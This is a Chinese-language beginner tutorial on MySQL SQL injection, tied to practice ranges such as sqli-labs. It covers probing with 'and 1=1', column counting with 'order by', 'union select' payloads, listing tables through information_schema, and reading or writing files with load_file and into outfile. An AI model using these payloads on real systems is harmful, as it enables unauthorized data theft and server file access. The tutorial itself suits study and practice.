sql注入基础

数据库类型

Access、Mysql、Mssql、Oracle、Postsql、SQLite、Mongodb等等

数据库结构(以MySQL数据库为例)

数据库A
表名
列名
数据
数据库B
表名
列名
数据
数据库C
…..

如何判断注入点

逻辑运算符

且 and
或 or
非 not
异或 xor
真且真 = 真
真且假 = 假
真或假 = 真

常规注入方式

and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
and 1=2 页面404或页面不影响
可能后台有检测,没有sql漏洞

猜解列名数量

order by 3 页面正常,表示列名数量为>=3

#联合查询
union select 1,2,3 将数据回显页面上进行控制

#注释符号
–+ , #

限制查询的结果

LIMIT语句进行控制,Limit 0,1表示 0开始显示1条数据,可以修改起始位置0改变输出结果
a={1,2,3,4}
Limit 0,1

$x=$_GET[‘id’];
SELECT * FROM users WHERE id=1 LIMIT 0,1

id=2 and 1=2 union select 1,2,3
SELECT * FROM users WHERE id=2 and 1=2 union select 1,2,3 LIMIT 0,1

常用查询方式

查询:select
增加:insert
修改:update
删除:delete
排序:order by

数据库信息收集

数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os

必懂知识点

1
2
3
4
5
6
7
8
1、mysql5.0版本以上,会自带一个数据库information_schema,里面存着所有数据名,所有表名,所有列名,这时候就可以利用这个特性,去查找相对应数据库下的表名和列名数据,其中高版本包括5.0以上,低版本5.0以下
2、数据库符号".",表示下一级,如 CMS.user表示CMS数据库下的user表
3、各种语句
information_schema.tables:表示记录所有数据库的所有表名的表
information_schema.columns:表示记录所有数据库的所有列名的表
table_name:表名
column_name:列名
table_schema:数据库名
案例实验

墨者靶机真实 MYSQL 注入演示
数据库名:mozhe_Discuz_StormGroup
表名:StormGroup_member
列名:id,name,password,status,id,title,content,time

涉及资源

https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe 墨者靶场
https://github.com/Audi-1/sqli-labs sqlilab靶场

常见sql注入函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
user():用户名
version():mysql版本
database():数据库名
@@datadir:读取数据库路径
@@plugin_dir:读取插件位置
select load_file:(读文件的路径)
length() =>计算字符串长度
hex() =>字符转换为16进制
@@basedir MYSQL:获取安装路径
select current_user():查询当前用户
select system_user():查看系统用户
@@version_compile_os:操作系统版本
into outfile:写文件{select '需要写的文件' into outfile '目录下'}
group_concat(列名):会把这一列中所有的内容在一行中以,隔开输出
concat(str1,str2,…):没有分割符地连接字符串,显示数据(数据合并)
select '123123' into outfile 'd://study/1.txt';(将123123添加至d盘study中新建1.txt文件中)
group_concat(str1,str2,…):连接一个组的所有字符串,并以逗号分割每一条数据,显示数据
concat_ws(separator,str1,str2):用分隔符连接两个字段的字符串
group_concat(concat_ws(seperator,str1,str2)):将多行查询结果以逗号分隔全部输出,每一行的结果可用设置的分隔符作字段的间隔